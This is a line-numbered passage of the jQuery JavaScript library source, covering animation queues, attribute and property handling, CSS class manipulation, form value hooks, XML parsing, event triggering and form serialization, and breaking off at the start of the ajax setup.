7707 // will dequeue but only if they were gotoEnd.
7708 if ( dequeue || !gotoEnd ) {
7709 jQuery.dequeue( this, type );
7710 }
7711 } );
7712 },
7713 finish: function( type ) {
7714 if ( type !== false ) {
7715 type = type || "fx";
7716 }
7717 return this.each( function() {
7718 var index,
7719 data = dataPriv.get( this ),
7720 queue = data[ type + "queue" ],
7721 hooks = data[ type + "queueHooks" ],
7722 timers = jQuery.timers,
7723 length = queue ? queue.length : 0;
7724
7725 // Enable finishing flag on private data
7726 data.finish = true;
7727
7728 // Empty the queue first
7729 jQuery.queue( this, type, [] );
7730
7731 if ( hooks && hooks.stop ) {
7732 hooks.stop.call( this, true );
7733 }
7734
7735 // Look for any active animations, and finish them
7736 for ( index = timers.length; index--; ) {
7737 if ( timers[ index ].elem === this && timers[ index ].queue === type ) {
7738 timers[ index ].anim.stop( true );
7739 timers.splice( index, 1 );
7740 }
7741 }
7742
7743 // Look for any animations in the old queue and finish them
7744 for ( index = 0; index < length; index++ ) {
7745 if ( queue[ index ] && queue[ index ].finish ) {
7746 queue[ index ].finish.call( this );
7747 }
7748 }
7749
7750 // Turn off finishing flag
7751 delete data.finish;
7752 } );
7753 }
7754} );
7755
7756jQuery.each( [ "toggle", "show", "hide" ], function( _i, name ) {
7757 var cssFn = jQuery.fn[ name ];
7758 jQuery.fn[ name ] = function( speed, easing, callback ) {
7759 return speed == null || typeof speed === "boolean" ?
7760 cssFn.apply( this, arguments ) :
7761 this.animate( genFx( name, true ), speed, easing, callback );
7762 };
7763} );
7764
7765// Generate shortcuts for custom animations
7766jQuery.each( {
7767 slideDown: genFx( "show" ),
7768 slideUp: genFx( "hide" ),
7769 slideToggle: genFx( "toggle" ),
7770 fadeIn: { opacity: "show" },
7771 fadeOut: { opacity: "hide" },
7772 fadeToggle: { opacity: "toggle" }
7773}, function( name, props ) {
7774 jQuery.fn[ name ] = function( speed, easing, callback ) {
7775 return this.animate( props, speed, easing, callback );
7776 };
7777} );
7778
7779jQuery.timers = [];
7780jQuery.fx.tick = function() {
7781 var timer,
7782 i = 0,
7783 timers = jQuery.timers;
7784
7785 fxNow = Date.now();
7786
7787 for ( ; i < timers.length; i++ ) {
7788 timer = timers[ i ];
7789
7790 // Run the timer and safely remove it when done (allowing for external removal)
7791 if ( !timer() && timers[ i ] === timer ) {
7792 timers.splice( i--, 1 );
7793 }
7794 }
7795
7796 if ( !timers.length ) {
7797 jQuery.fx.stop();
7798 }
7799 fxNow = undefined;
7800};
7801
7802jQuery.fx.timer = function( timer ) {
7803 jQuery.timers.push( timer );
7804 jQuery.fx.start();
7805};
7806
7807jQuery.fx.interval = 13;
7808jQuery.fx.start = function() {
7809 if ( inProgress ) {
7810 return;
7811 }
7812
7813 inProgress = true;
7814 schedule();
7815};
7816
7817jQuery.fx.stop = function() {
7818 inProgress = null;
7819};
7820
7821jQuery.fx.speeds = {
7822 slow: 600,
7823 fast: 200,
7824
7825 // Default speed
7826 _default: 400
7827};
7828
7829
7830// Based off of the plugin by Clint Helfers, with permission.
7831jQuery.fn.delay = function( time, type ) {
7832 time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time;
7833 type = type || "fx";
7834
7835 return this.queue( type, function( next, hooks ) {
7836 var timeout = window.setTimeout( next, time );
7837 hooks.stop = function() {
7838 window.clearTimeout( timeout );
7839 };
7840 } );
7841};
7842
7843
7844( function() {
7845 var input = document.createElement( "input" ),
7846 select = document.createElement( "select" ),
7847 opt = select.appendChild( document.createElement( "option" ) );
7848
7849 input.type = "checkbox";
7850
7851 // Support: Android <=4.3 only
7852 // Default value for a checkbox should be "on"
7853 support.checkOn = input.value !== "";
7854
7855 // Support: IE <=11 only
7856 // Must access selectedIndex to make default options select
7857 support.optSelected = opt.selected;
7858
7859 // Support: IE <=11 only
7860 // An input loses its value after becoming a radio
7861 input = document.createElement( "input" );
7862 input.value = "t";
7863 input.type = "radio";
7864 support.radioValue = input.value === "t";
7865} )();
7866
7867
7868var boolHook,
7869 attrHandle = jQuery.expr.attrHandle;
7870
7871jQuery.fn.extend( {
7872 attr: function( name, value ) {
7873 return access( this, jQuery.attr, name, value, arguments.length > 1 );
7874 },
7875
7876 removeAttr: function( name ) {
7877 return this.each( function() {
7878 jQuery.removeAttr( this, name );
7879 } );
7880 }
7881} );
7882
7883jQuery.extend( {
7884 attr: function( elem, name, value ) {
7885 var ret, hooks,
7886 nType = elem.nodeType;
7887
7888 // Don't get/set attributes on text, comment and attribute nodes
7889 if ( nType === 3 || nType === 8 || nType === 2 ) {
7890 return;
7891 }
7892
7893 // Fallback to prop when attributes are not supported
7894 if ( typeof elem.getAttribute === "undefined" ) {
7895 return jQuery.prop( elem, name, value );
7896 }
7897
7898 // Attribute hooks are determined by the lowercase version
7899 // Grab necessary hook if one is defined
7900 if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) {
7901 hooks = jQuery.attrHooks[ name.toLowerCase() ] ||
7902 ( jQuery.expr.match.bool.test( name ) ? boolHook : undefined );
7903 }
7904
7905 if ( value !== undefined ) {
7906 if ( value === null ) {
7907 jQuery.removeAttr( elem, name );
7908 return;
7909 }
7910
7911 if ( hooks && "set" in hooks &&
7912 ( ret = hooks.set( elem, value, name ) ) !== undefined ) {
7913 return ret;
7914 }
7915
7916 elem.setAttribute( name, value + "" );
7917 return value;
7918 }
7919
7920 if ( hooks && "get" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) {
7921 return ret;
7922 }
7923
7924 ret = jQuery.find.attr( elem, name );
7925
7926 // Non-existent attributes return null, we normalize to undefined
7927 return ret == null ? undefined : ret;
7928 },
7929
7930 attrHooks: {
7931 type: {
7932 set: function( elem, value ) {
7933 if ( !support.radioValue && value === "radio" &&
7934 nodeName( elem, "input" ) ) {
7935 var val = elem.value;
7936 elem.setAttribute( "type", value );
7937 if ( val ) {
7938 elem.value = val;
7939 }
7940 return value;
7941 }
7942 }
7943 }
7944 },
7945
7946 removeAttr: function( elem, value ) {
7947 var name,
7948 i = 0,
7949
7950 // Attribute names can contain non-HTML whitespace characters
7951 // https://html.spec.whatwg.org/multipage/syntax.html#attributes-2
7952 attrNames = value && value.match( rnothtmlwhite );
7953
7954 if ( attrNames && elem.nodeType === 1 ) {
7955 while ( ( name = attrNames[ i++ ] ) ) {
7956 elem.removeAttribute( name );
7957 }
7958 }
7959 }
7960} );
7961
7962// Hooks for boolean attributes
7963boolHook = {
7964 set: function( elem, value, name ) {
7965 if ( value === false ) {
7966
7967 // Remove boolean attributes when set to false
7968 jQuery.removeAttr( elem, name );
7969 } else {
7970 elem.setAttribute( name, name );
7971 }
7972 return name;
7973 }
7974};
7975
7976jQuery.each( jQuery.expr.match.bool.source.match( /\w+/g ), function( _i, name ) {
7977 var getter = attrHandle[ name ] || jQuery.find.attr;
7978
7979 attrHandle[ name ] = function( elem, name, isXML ) {
7980 var ret, handle,
7981 lowercaseName = name.toLowerCase();
7982
7983 if ( !isXML ) {
7984
7985 // Avoid an infinite loop by temporarily removing this function from the getter
7986 handle = attrHandle[ lowercaseName ];
7987 attrHandle[ lowercaseName ] = ret;
7988 ret = getter( elem, name, isXML ) != null ?
7989 lowercaseName :
7990 null;
7991 attrHandle[ lowercaseName ] = handle;
7992 }
7993 return ret;
7994 };
7995} );
7996
7997
7998
7999
8000var rfocusable = /^(?:input|select|textarea|button)$/i,
8001 rclickable = /^(?:a|area)$/i;
8002
8003jQuery.fn.extend( {
8004 prop: function( name, value ) {
8005 return access( this, jQuery.prop, name, value, arguments.length > 1 );
8006 },
8007
8008 removeProp: function( name ) {
8009 return this.each( function() {
8010 delete this[ jQuery.propFix[ name ] || name ];
8011 } );
8012 }
8013} );
8014
8015jQuery.extend( {
8016 prop: function( elem, name, value ) {
8017 var ret, hooks,
8018 nType = elem.nodeType;
8019
8020 // Don't get/set properties on text, comment and attribute nodes
8021 if ( nType === 3 || nType === 8 || nType === 2 ) {
8022 return;
8023 }
8024
8025 if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) {
8026
8027 // Fix name and attach hooks
8028 name = jQuery.propFix[ name ] || name;
8029 hooks = jQuery.propHooks[ name ];
8030 }
8031
8032 if ( value !== undefined ) {
8033 if ( hooks && "set" in hooks &&
8034 ( ret = hooks.set( elem, value, name ) ) !== undefined ) {
8035 return ret;
8036 }
8037
8038 return ( elem[ name ] = value );
8039 }
8040
8041 if ( hooks && "get" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) {
8042 return ret;
8043 }
8044
8045 return elem[ name ];
8046 },
8047
8048 propHooks: {
8049 tabIndex: {
8050 get: function( elem ) {
8051
8052 // Support: IE <=9 - 11 only
8053 // elem.tabIndex doesn't always return the
8054 // correct value when it hasn't been explicitly set
8055 // Use proper attribute retrieval (trac-12072)
8056 var tabindex = jQuery.find.attr( elem, "tabindex" );
8057
8058 if ( tabindex ) {
8059 return parseInt( tabindex, 10 );
8060 }
8061
8062 if (
8063 rfocusable.test( elem.nodeName ) ||
8064 rclickable.test( elem.nodeName ) &&
8065 elem.href
8066 ) {
8067 return 0;
8068 }
8069
8070 return -1;
8071 }
8072 }
8073 },
8074
8075 propFix: {
8076 "for": "htmlFor",
8077 "class": "className"
8078 }
8079} );
8080
8081// Support: IE <=11 only
8082// Accessing the selectedIndex property
8083// forces the browser to respect setting selected
8084// on the option
8085// The getter ensures a default option is selected
8086// when in an optgroup
8087// eslint rule "no-unused-expressions" is disabled for this code
8088// since it considers such accessions noop
8089if ( !support.optSelected ) {
8090 jQuery.propHooks.selected = {
8091 get: function( elem ) {
8092
8093 /* eslint no-unused-expressions: "off" */
8094
8095 var parent = elem.parentNode;
8096 if ( parent && parent.parentNode ) {
8097 parent.parentNode.selectedIndex;
8098 }
8099 return null;
8100 },
8101 set: function( elem ) {
8102
8103 /* eslint no-unused-expressions: "off" */
8104
8105 var parent = elem.parentNode;
8106 if ( parent ) {
8107 parent.selectedIndex;
8108
8109 if ( parent.parentNode ) {
8110 parent.parentNode.selectedIndex;
8111 }
8112 }
8113 }
8114 };
8115}
8116
8117jQuery.each( [
8118 "tabIndex",
8119 "readOnly",
8120 "maxLength",
8121 "cellSpacing",
8122 "cellPadding",
8123 "rowSpan",
8124 "colSpan",
8125 "useMap",
8126 "frameBorder",
8127 "contentEditable"
8128], function() {
8129 jQuery.propFix[ this.toLowerCase() ] = this;
8130} );
8131
8132
8133
8134
8135 // Strip and collapse whitespace according to HTML spec
8136 // https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace
8137 function stripAndCollapse( value ) {
8138 var tokens = value.match( rnothtmlwhite ) || [];
8139 return tokens.join( " " );
8140 }
8141
8142
8143function getClass( elem ) {
8144 return elem.getAttribute && elem.getAttribute( "class" ) || "";
8145}
8146
8147function classesToArray( value ) {
8148 if ( Array.isArray( value ) ) {
8149 return value;
8150 }
8151 if ( typeof value === "string" ) {
8152 return value.match( rnothtmlwhite ) || [];
8153 }
8154 return [];
8155}
8156
8157jQuery.fn.extend( {
8158 addClass: function( value ) {
8159 var classNames, cur, curValue, className, i, finalValue;
8160
8161 if ( isFunction( value ) ) {
8162 return this.each( function( j ) {
8163 jQuery( this ).addClass( value.call( this, j, getClass( this ) ) );
8164 } );
8165 }
8166
8167 classNames = classesToArray( value );
8168
8169 if ( classNames.length ) {
8170 return this.each( function() {
8171 curValue = getClass( this );
8172 cur = this.nodeType === 1 && ( " " + stripAndCollapse( curValue ) + " " );
8173
8174 if ( cur ) {
8175 for ( i = 0; i < classNames.length; i++ ) {
8176 className = classNames[ i ];
8177 if ( cur.indexOf( " " + className + " " ) < 0 ) {
8178 cur += className + " ";
8179 }
8180 }
8181
8182 // Only assign if different to avoid unneeded rendering.
8183 finalValue = stripAndCollapse( cur );
8184 if ( curValue !== finalValue ) {
8185 this.setAttribute( "class", finalValue );
8186 }
8187 }
8188 } );
8189 }
8190
8191 return this;
8192 },
8193
8194 removeClass: function( value ) {
8195 var classNames, cur, curValue, className, i, finalValue;
8196
8197 if ( isFunction( value ) ) {
8198 return this.each( function( j ) {
8199 jQuery( this ).removeClass( value.call( this, j, getClass( this ) ) );
8200 } );
8201 }
8202
8203 if ( !arguments.length ) {
8204 return this.attr( "class", "" );
8205 }
8206
8207 classNames = classesToArray( value );
8208
8209 if ( classNames.length ) {
8210 return this.each( function() {
8211 curValue = getClass( this );
8212
8213 // This expression is here for better compressibility (see addClass)
8214 cur = this.nodeType === 1 && ( " " + stripAndCollapse( curValue ) + " " );
8215
8216 if ( cur ) {
8217 for ( i = 0; i < classNames.length; i++ ) {
8218 className = classNames[ i ];
8219
8220 // Remove *all* instances
8221 while ( cur.indexOf( " " + className + " " ) > -1 ) {
8222 cur = cur.replace( " " + className + " ", " " );
8223 }
8224 }
8225
8226 // Only assign if different to avoid unneeded rendering.
8227 finalValue = stripAndCollapse( cur );
8228 if ( curValue !== finalValue ) {
8229 this.setAttribute( "class", finalValue );
8230 }
8231 }
8232 } );
8233 }
8234
8235 return this;
8236 },
8237
8238 toggleClass: function( value, stateVal ) {
8239 var classNames, className, i, self,
8240 type = typeof value,
8241 isValidValue = type === "string" || Array.isArray( value );
8242
8243 if ( isFunction( value ) ) {
8244 return this.each( function( i ) {
8245 jQuery( this ).toggleClass(
8246 value.call( this, i, getClass( this ), stateVal ),
8247 stateVal
8248 );
8249 } );
8250 }
8251
8252 if ( typeof stateVal === "boolean" && isValidValue ) {
8253 return stateVal ? this.addClass( value ) : this.removeClass( value );
8254 }
8255
8256 classNames = classesToArray( value );
8257
8258 return this.each( function() {
8259 if ( isValidValue ) {
8260
8261 // Toggle individual class names
8262 self = jQuery( this );
8263
8264 for ( i = 0; i < classNames.length; i++ ) {
8265 className = classNames[ i ];
8266
8267 // Check each className given, space separated list
8268 if ( self.hasClass( className ) ) {
8269 self.removeClass( className );
8270 } else {
8271 self.addClass( className );
8272 }
8273 }
8274
8275 // Toggle whole class name
8276 } else if ( value === undefined || type === "boolean" ) {
8277 className = getClass( this );
8278 if ( className ) {
8279
8280 // Store className if set
8281 dataPriv.set( this, "__className__", className );
8282 }
8283
8284 // If the element has a class name or if we're passed `false`,
8285 // then remove the whole classname (if there was one, the above saved it).
8286 // Otherwise bring back whatever was previously saved (if anything),
8287 // falling back to the empty string if nothing was stored.
8288 if ( this.setAttribute ) {
8289 this.setAttribute( "class",
8290 className || value === false ?
8291 "" :
8292 dataPriv.get( this, "__className__" ) || ""
8293 );
8294 }
8295 }
8296 } );
8297 },
8298
8299 hasClass: function( selector ) {
8300 var className, elem,
8301 i = 0;
8302
8303 className = " " + selector + " ";
8304 while ( ( elem = this[ i++ ] ) ) {
8305 if ( elem.nodeType === 1 &&
8306 ( " " + stripAndCollapse( getClass( elem ) ) + " " ).indexOf( className ) > -1 ) {
8307 return true;
8308 }
8309 }
8310
8311 return false;
8312 }
8313} );
8314
8315
8316
8317
8318var rreturn = /\r/g;
8319
8320jQuery.fn.extend( {
8321 val: function( value ) {
8322 var hooks, ret, valueIsFunction,
8323 elem = this[ 0 ];
8324
8325 if ( !arguments.length ) {
8326 if ( elem ) {
8327 hooks = jQuery.valHooks[ elem.type ] ||
8328 jQuery.valHooks[ elem.nodeName.toLowerCase() ];
8329
8330 if ( hooks &&
8331 "get" in hooks &&
8332 ( ret = hooks.get( elem, "value" ) ) !== undefined
8333 ) {
8334 return ret;
8335 }
8336
8337 ret = elem.value;
8338
8339 // Handle most common string cases
8340 if ( typeof ret === "string" ) {
8341 return ret.replace( rreturn, "" );
8342 }
8343
8344 // Handle cases where value is null/undef or number
8345 return ret == null ? "" : ret;
8346 }
8347
8348 return;
8349 }
8350
8351 valueIsFunction = isFunction( value );
8352
8353 return this.each( function( i ) {
8354 var val;
8355
8356 if ( this.nodeType !== 1 ) {
8357 return;
8358 }
8359
8360 if ( valueIsFunction ) {
8361 val = value.call( this, i, jQuery( this ).val() );
8362 } else {
8363 val = value;
8364 }
8365
8366 // Treat null/undefined as ""; convert numbers to string
8367 if ( val == null ) {
8368 val = "";
8369
8370 } else if ( typeof val === "number" ) {
8371 val += "";
8372
8373 } else if ( Array.isArray( val ) ) {
8374 val = jQuery.map( val, function( value ) {
8375 return value == null ? "" : value + "";
8376 } );
8377 }
8378
8379 hooks = jQuery.valHooks[ this.type ] || jQuery.valHooks[ this.nodeName.toLowerCase() ];
8380
8381 // If set returns undefined, fall back to normal setting
8382 if ( !hooks || !( "set" in hooks ) || hooks.set( this, val, "value" ) === undefined ) {
8383 this.value = val;
8384 }
8385 } );
8386 }
8387} );
8388
8389jQuery.extend( {
8390 valHooks: {
8391 option: {
8392 get: function( elem ) {
8393
8394 var val = jQuery.find.attr( elem, "value" );
8395 return val != null ?
8396 val :
8397
8398 // Support: IE <=10 - 11 only
8399 // option.text throws exceptions (trac-14686, trac-14858)
8400 // Strip and collapse whitespace
8401 // https://html.spec.whatwg.org/#strip-and-collapse-whitespace
8402 stripAndCollapse( jQuery.text( elem ) );
8403 }
8404 },
8405 select: {
8406 get: function( elem ) {
8407 var value, option, i,
8408 options = elem.options,
8409 index = elem.selectedIndex,
8410 one = elem.type === "select-one",
8411 values = one ? null : [],
8412 max = one ? index + 1 : options.length;
8413
8414 if ( index < 0 ) {
8415 i = max;
8416
8417 } else {
8418 i = one ? index : 0;
8419 }
8420
8421 // Loop through all the selected options
8422 for ( ; i < max; i++ ) {
8423 option = options[ i ];
8424
8425 // Support: IE <=9 only
8426 // IE8-9 doesn't update selected after form reset (trac-2551)
8427 if ( ( option.selected || i === index ) &&
8428
8429 // Don't return options that are disabled or in a disabled optgroup
8430 !option.disabled &&
8431 ( !option.parentNode.disabled ||
8432 !nodeName( option.parentNode, "optgroup" ) ) ) {
8433
8434 // Get the specific value for the option
8435 value = jQuery( option ).val();
8436
8437 // We don't need an array for one selects
8438 if ( one ) {
8439 return value;
8440 }
8441
8442 // Multi-Selects return an array
8443 values.push( value );
8444 }
8445 }
8446
8447 return values;
8448 },
8449
8450 set: function( elem, value ) {
8451 var optionSet, option,
8452 options = elem.options,
8453 values = jQuery.makeArray( value ),
8454 i = options.length;
8455
8456 while ( i-- ) {
8457 option = options[ i ];
8458
8459 /* eslint-disable no-cond-assign */
8460
8461 if ( option.selected =
8462 jQuery.inArray( jQuery.valHooks.option.get( option ), values ) > -1
8463 ) {
8464 optionSet = true;
8465 }
8466
8467 /* eslint-enable no-cond-assign */
8468 }
8469
8470 // Force browsers to behave consistently when non-matching value is set
8471 if ( !optionSet ) {
8472 elem.selectedIndex = -1;
8473 }
8474 return values;
8475 }
8476 }
8477 }
8478} );
8479
8480// Radios and checkboxes getter/setter
8481jQuery.each( [ "radio", "checkbox" ], function() {
8482 jQuery.valHooks[ this ] = {
8483 set: function( elem, value ) {
8484 if ( Array.isArray( value ) ) {
8485 return ( elem.checked = jQuery.inArray( jQuery( elem ).val(), value ) > -1 );
8486 }
8487 }
8488 };
8489 if ( !support.checkOn ) {
8490 jQuery.valHooks[ this ].get = function( elem ) {
8491 return elem.getAttribute( "value" ) === null ? "on" : elem.value;
8492 };
8493 }
8494} );
8495
8496
8497
8498
8499// Return jQuery for attributes-only inclusion
8500var location = window.location;
8501
8502var nonce = { guid: Date.now() };
8503
8504var rquery = ( /\?/ );
8505
8506
8507
8508// Cross-browser xml parsing
8509jQuery.parseXML = function( data ) {
8510 var xml, parserErrorElem;
8511 if ( !data || typeof data !== "string" ) {
8512 return null;
8513 }
8514
8515 // Support: IE 9 - 11 only
8516 // IE throws on parseFromString with invalid input.
8517 try {
8518 xml = ( new window.DOMParser() ).parseFromString( data, "text/xml" );
8519 } catch ( e ) {}
8520
8521 parserErrorElem = xml && xml.getElementsByTagName( "parsererror" )[ 0 ];
8522 if ( !xml || parserErrorElem ) {
8523 jQuery.error( "Invalid XML: " + (
8524 parserErrorElem ?
8525 jQuery.map( parserErrorElem.childNodes, function( el ) {
8526 return el.textContent;
8527 } ).join( "\n" ) :
8528 data
8529 ) );
8530 }
8531 return xml;
8532};
8533
8534
8535var rfocusMorph = /^(?:focusinfocus|focusoutblur)$/,
8536 stopPropagationCallback = function( e ) {
8537 e.stopPropagation();
8538 };
8539
8540jQuery.extend( jQuery.event, {
8541
8542 trigger: function( event, data, elem, onlyHandlers ) {
8543
8544 var i, cur, tmp, bubbleType, ontype, handle, special, lastElement,
8545 eventPath = [ elem || document ],
8546 type = hasOwn.call( event, "type" ) ? event.type : event,
8547 namespaces = hasOwn.call( event, "namespace" ) ? event.namespace.split( "." ) : [];
8548
8549 cur = lastElement = tmp = elem = elem || document;
8550
8551 // Don't do events on text and comment nodes
8552 if ( elem.nodeType === 3 || elem.nodeType === 8 ) {
8553 return;
8554 }
8555
8556 // focus/blur morphs to focusin/out; ensure we're not firing them right now
8557 if ( rfocusMorph.test( type + jQuery.event.triggered ) ) {
8558 return;
8559 }
8560
8561 if ( type.indexOf( "." ) > -1 ) {
8562
8563 // Namespaced trigger; create a regexp to match event type in handle()
8564 namespaces = type.split( "." );
8565 type = namespaces.shift();
8566 namespaces.sort();
8567 }
8568 ontype = type.indexOf( ":" ) < 0 && "on" + type;
8569
8570 // Caller can pass in a jQuery.Event object, Object, or just an event type string
8571 event = event[ jQuery.expando ] ?
8572 event :
8573 new jQuery.Event( type, typeof event === "object" && event );
8574
8575 // Trigger bitmask: & 1 for native handlers; & 2 for jQuery (always true)
8576 event.isTrigger = onlyHandlers ? 2 : 3;
8577 event.namespace = namespaces.join( "." );
8578 event.rnamespace = event.namespace ?
8579 new RegExp( "(^|\\.)" + namespaces.join( "\\.(?:.*\\.|)" ) + "(\\.|$)" ) :
8580 null;
8581
8582 // Clean up the event in case it is being reused
8583 event.result = undefined;
8584 if ( !event.target ) {
8585 event.target = elem;
8586 }
8587
8588 // Clone any incoming data and prepend the event, creating the handler arg list
8589 data = data == null ?
8590 [ event ] :
8591 jQuery.makeArray( data, [ event ] );
8592
8593 // Allow special events to draw outside the lines
8594 special = jQuery.event.special[ type ] || {};
8595 if ( !onlyHandlers && special.trigger && special.trigger.apply( elem, data ) === false ) {
8596 return;
8597 }
8598
8599 // Determine event propagation path in advance, per W3C events spec (trac-9951)
8600 // Bubble up to document, then to window; watch for a global ownerDocument var (trac-9724)
8601 if ( !onlyHandlers && !special.noBubble && !isWindow( elem ) ) {
8602
8603 bubbleType = special.delegateType || type;
8604 if ( !rfocusMorph.test( bubbleType + type ) ) {
8605 cur = cur.parentNode;
8606 }
8607 for ( ; cur; cur = cur.parentNode ) {
8608 eventPath.push( cur );
8609 tmp = cur;
8610 }
8611
8612 // Only add window if we got to document (e.g., not plain obj or detached DOM)
8613 if ( tmp === ( elem.ownerDocument || document ) ) {
8614 eventPath.push( tmp.defaultView || tmp.parentWindow || window );
8615 }
8616 }
8617
8618 // Fire handlers on the event path
8619 i = 0;
8620 while ( ( cur = eventPath[ i++ ] ) && !event.isPropagationStopped() ) {
8621 lastElement = cur;
8622 event.type = i > 1 ?
8623 bubbleType :
8624 special.bindType || type;
8625
8626 // jQuery handler
8627 handle = ( dataPriv.get( cur, "events" ) || Object.create( null ) )[ event.type ] &&
8628 dataPriv.get( cur, "handle" );
8629 if ( handle ) {
8630 handle.apply( cur, data );
8631 }
8632
8633 // Native handler
8634 handle = ontype && cur[ ontype ];
8635 if ( handle && handle.apply && acceptData( cur ) ) {
8636 event.result = handle.apply( cur, data );
8637 if ( event.result === false ) {
8638 event.preventDefault();
8639 }
8640 }
8641 }
8642 event.type = type;
8643
8644 // If nobody prevented the default action, do it now
8645 if ( !onlyHandlers && !event.isDefaultPrevented() ) {
8646
8647 if ( ( !special._default ||
8648 special._default.apply( eventPath.pop(), data ) === false ) &&
8649 acceptData( elem ) ) {
8650
8651 // Call a native DOM method on the target with the same name as the event.
8652 // Don't do default actions on window, that's where global variables be (trac-6170)
8653 if ( ontype && isFunction( elem[ type ] ) && !isWindow( elem ) ) {
8654
8655 // Don't re-trigger an onFOO event when we call its FOO() method
8656 tmp = elem[ ontype ];
8657
8658 if ( tmp ) {
8659 elem[ ontype ] = null;
8660 }
8661
8662 // Prevent re-triggering of the same event, since we already bubbled it above
8663 jQuery.event.triggered = type;
8664
8665 if ( event.isPropagationStopped() ) {
8666 lastElement.addEventListener( type, stopPropagationCallback );
8667 }
8668
8669 elem[ type ]();
8670
8671 if ( event.isPropagationStopped() ) {
8672 lastElement.removeEventListener( type, stopPropagationCallback );
8673 }
8674
8675 jQuery.event.triggered = undefined;
8676
8677 if ( tmp ) {
8678 elem[ ontype ] = tmp;
8679 }
8680 }
8681 }
8682 }
8683
8684 return event.result;
8685 },
8686
8687 // Piggyback on a donor event to simulate a different one
8688 // Used only for `focus(in | out)` events
8689 simulate: function( type, elem, event ) {
8690 var e = jQuery.extend(
8691 new jQuery.Event(),
8692 event,
8693 {
8694 type: type,
8695 isSimulated: true
8696 }
8697 );
8698
8699 jQuery.event.trigger( e, null, elem );
8700 }
8701
8702} );
8703
8704jQuery.fn.extend( {
8705
8706 trigger: function( type, data ) {
8707 return this.each( function() {
8708 jQuery.event.trigger( type, data, this );
8709 } );
8710 },
8711 triggerHandler: function( type, data ) {
8712 var elem = this[ 0 ];
8713 if ( elem ) {
8714 return jQuery.event.trigger( type, data, elem, true );
8715 }
8716 }
8717} );
8718
8719
8720var
8721 rbracket = /\[\]$/,
8722 rCRLF = /\r?\n/g,
8723 rsubmitterTypes = /^(?:submit|button|image|reset|file)$/i,
8724 rsubmittable = /^(?:input|select|textarea|keygen)/i;
8725
8726function buildParams( prefix, obj, traditional, add ) {
8727 var name;
8728
8729 if ( Array.isArray( obj ) ) {
8730
8731 // Serialize array item.
8732 jQuery.each( obj, function( i, v ) {
8733 if ( traditional || rbracket.test( prefix ) ) {
8734
8735 // Treat each array item as a scalar.
8736 add( prefix, v );
8737
8738 } else {
8739
8740 // Item is non-scalar (array or object), encode its numeric index.
8741 buildParams(
8742 prefix + "[" + ( typeof v === "object" && v != null ? i : "" ) + "]",
8743 v,
8744 traditional,
8745 add
8746 );
8747 }
8748 } );
8749
8750 } else if ( !traditional && toType( obj ) === "object" ) {
8751
8752 // Serialize object item.
8753 for ( name in obj ) {
8754 buildParams( prefix + "[" + name + "]", obj[ name ], traditional, add );
8755 }
8756
8757 } else {
8758
8759 // Serialize scalar item.
8760 add( prefix, obj );
8761 }
8762}
8763
8764// Serialize an array of form elements or a set of
8765// key/values into a query string
8766jQuery.param = function( a, traditional ) {
8767 var prefix,
8768 s = [],
8769 add = function( key, valueOrFunction ) {
8770
8771 // If value is a function, invoke it and use its return value
8772 var value = isFunction( valueOrFunction ) ?
8773 valueOrFunction() :
8774 valueOrFunction;
8775
8776 s[ s.length ] = encodeURIComponent( key ) + "=" +
8777 encodeURIComponent( value == null ? "" : value );
8778 };
8779
8780 if ( a == null ) {
8781 return "";
8782 }
8783
8784 // If an array was passed in, assume that it is an array of form elements.
8785 if ( Array.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) {
8786
8787 // Serialize the form elements
8788 jQuery.each( a, function() {
8789 add( this.name, this.value );
8790 } );
8791
8792 } else {
8793
8794 // If traditional, encode the "old" way (the way 1.3.2 or older
8795 // did it), otherwise encode params recursively.
8796 for ( prefix in a ) {
8797 buildParams( prefix, a[ prefix ], traditional, add );
8798 }
8799 }
8800
8801 // Return the resulting serialization
8802 return s.join( "&" );
8803};
8804
8805jQuery.fn.extend( {
8806 serialize: function() {
8807 return jQuery.param( this.serializeArray() );
8808 },
8809 serializeArray: function() {
8810 return this.map( function() {
8811
8812 // Can add propHook for "elements" to filter or add form elements
8813 var elements = jQuery.prop( this, "elements" );
8814 return elements ? jQuery.makeArray( elements ) : this;
8815 } ).filter( function() {
8816 var type = this.type;
8817
8818 // Use .is( ":disabled" ) so that fieldset[disabled] works
8819 return this.name && !jQuery( this ).is( ":disabled" ) &&
8820 rsubmittable.test( this.nodeName ) && !rsubmitterTypes.test( type ) &&
8821 ( this.checked || !rcheckableType.test( type ) );
8822 } ).map( function( _i, elem ) {
8823 var val = jQuery( this ).val();
8824
8825 if ( val == null ) {
8826 return null;
8827 }
8828
8829 if ( Array.isArray( val ) ) {
8830 return jQuery.map( val, function( val ) {
8831 return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) };
8832 } );
8833 }
8834
8835 return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) };
8836 } ).get();
8837 }
8838} );
8839
8840
8841var
8842 r20 = /%20/g,
8843 rhash = /#.*$/,
8844 rantiCache = /([?&])_=[^&]*/,
8845 rheaders = /^(.*?):[ \t]*([^\r\n]*)$/mg,
8846
8847 // trac-7653, trac-8125, trac-8152: local protocol detection
8848 rlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/,
8849 rnoContent = /^(?:GET|HEAD)$/,
8850 rprotocol = /^\/\//,
8851
8852 /* Prefilters
8853 * 1) They are useful to introduce custom dataTypes (see ajax/jsonp.js for an example)
8854 * 2) These are called:
8855 * - BEFORE asking for a transport
8856 * - AFTER param serialization (s.data is a string if s.processData is true)
8857 * 3) key is the dataType
8858 * 4) the catchall symbol "*" can be used
8859 * 5) execution will start with transport dataType and THEN continue down to "*" if needed
8860 */
8861 prefilters = {},
8862
8863 /* Transports bindings
8864 * 1) key is the dataType
8865 * 2) the catchall symbol "*" can be used
8866 * 3) selection will start with transport dataType and THEN go to "*" if needed
8867 */
8868 transports = {},
8869
8870 // Avoid comment-prolog char sequence (trac-10098); must appease lint and evade compression
8871 allTypes = "*/".concat( "*" ),
8872
8873 // Anchor tag for parsing the document origin
8874 originAnchor = document.createElement( "a" );
8875
8876originAnchor.href = location.href;
8877
8878// Base "constructor" for jQuery.ajaxPrefilter and jQuery.ajaxTransport
8879function addToPrefiltersOrTransports( structure ) {
8880
